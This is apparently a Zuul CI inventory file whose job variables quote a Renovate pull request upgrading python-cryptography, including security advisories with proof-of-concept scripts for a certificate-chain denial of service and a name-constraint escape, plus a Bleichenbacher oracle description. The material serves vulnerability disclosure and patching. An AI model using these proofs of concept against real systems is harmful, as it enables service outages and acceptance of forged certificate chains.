all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    debian-bookworm:
      ansible_connection: ssh
      ansible_host: 2a13:1a81:8000:3124:f816:3eff:fee4:aabf
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      nodepool:
        az: nova
        cloud: regiocloud-a-ci
        external_id: 41c7412d-b97d-430b-b11d-21ad4b224cf9
        host_id: ec4f54fa666de9bc553bc59c41683f12345b665d0b1af00d715e7318
        interface_ip: 2a13:1a81:8000:3124:f816:3eff:fee4:aabf
        label: debian-bookworm
        node_properties: {}
        private_ipv4: 10.128.0.100
        private_ipv6: null
        provider: regiocloud-a
        public_ipv4: 81.163.192.200
        public_ipv6: 2a13:1a81:8000:3124:f816:3eff:fee4:aabf
        region: null
        slot: null
  vars:
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-config/zuul.d/jobs.yaml@main#2>'
      - '<Job ansible-lint explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-jobs/.zuul.yaml@main#7>'
      - '<Job ansible-lint explicit: None implied: None source: osism/container-image-kolla-ansible/.zuul.yaml@main#163>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: 6149af443846466aa74140c8ab462309
      build_refs:
      - branch: main
        change: '937'
        change_message: "Update dependency cryptography to v50 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
          |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates
          can cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
          certificate chains that include duplicate copies of self-signed certificates,
          the processing recursively invokes the same candidate, leading to an exponential
          blowup. Although the limitation that the chain depth cannot exceed a specified
          maximum depth prevents unbounded recursion and guarantees termination, an
          attacker-controlled certificate chain can lead the processing to easily
          take more than 5s to reject in testing. This amplification could form the
          basis for a resource exhaustion denial of service attack.\n\nThis work was
          completed by Trail of Bits as part of the Patch The Planet project in collaboration
          with OpenAI. The finding was identified primarily by the Codex coding agent,
          and manually reviewed before submission. \n\n##### Details\nThe core issue
          arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nIf an intermediate
          constrained CA permits the DNS name `foo.example.com`, and the leaf certificate
          has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's
          verifier accepts which allows escaping outside of the permitted names.\n\n#####
          PoC\n\n```\n\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches
          admits a too-broad wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint:
          dNSName = foo.example.com\n  Leaf SAN:                    dNSName = *.example.com\nExpected:
          rejection (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved:
          pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative
          for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport
          datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import
          NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\n`pkcs7_decrypt_der`,
          `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of
          decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable
          ways, one of which disclosed the exact length recovered from the\nRSA operation.
          The same distinction was also observable by timing. An\napplication that
          decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives
          the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced
          in 44.0.0. Fixed in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1
          v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result
          \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently,
          with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption
          failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for
          AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding
          bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where
          the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL,
          and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead
          returns a synthetic plaintext of\npseudorandom length, so the error channel
          does not distinguish conforming\nciphertexts.\n\nExploitation requires a
          service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim
          certificate and answers adaptively at high volume, such as\nan S/MIME gateway
          or mail filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm
          is now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/container-image-kolla-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbInJlbm92YXRlIl19-->\n"
        change_url: https://github.com/osism/container-image-kolla-ansible/pull/937
        commit_id: 1b0407bb71c76bad0378e9165a927c0f931cb84b
        patchset: 1b0407bb71c76bad0378e9165a927c0f931cb84b
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-kolla-ansible
          name: osism/container-image-kolla-ansible
          short_name: container-image-kolla-ansible
        src_dir: src/github.com/osism/container-image-kolla-ansible
        topic: null
      buildset: c74e2a35c6df406b85b9e0c196740d17
      buildset_refs:
      - branch: main
        change: '937'
        change_message: "Update dependency cryptography to v50 [SECURITY]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
          |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates
          can cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nWhen resolving invalid
          certificate chains that include duplicate copies of self-signed certificates,
          the processing recursively invokes the same candidate, leading to an exponential
          blowup. Although the limitation that the chain depth cannot exceed a specified
          maximum depth prevents unbounded recursion and guarantees termination, an
          attacker-controlled certificate chain can lead the processing to easily
          take more than 5s to reject in testing. This amplification could form the
          basis for a resource exhaustion denial of service attack.\n\nThis work was
          completed by Trail of Bits as part of the Patch The Planet project in collaboration
          with OpenAI. The finding was identified primarily by the Codex coding agent,
          and manually reviewed before submission. \n\n##### Details\nThe core issue
          arises in the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
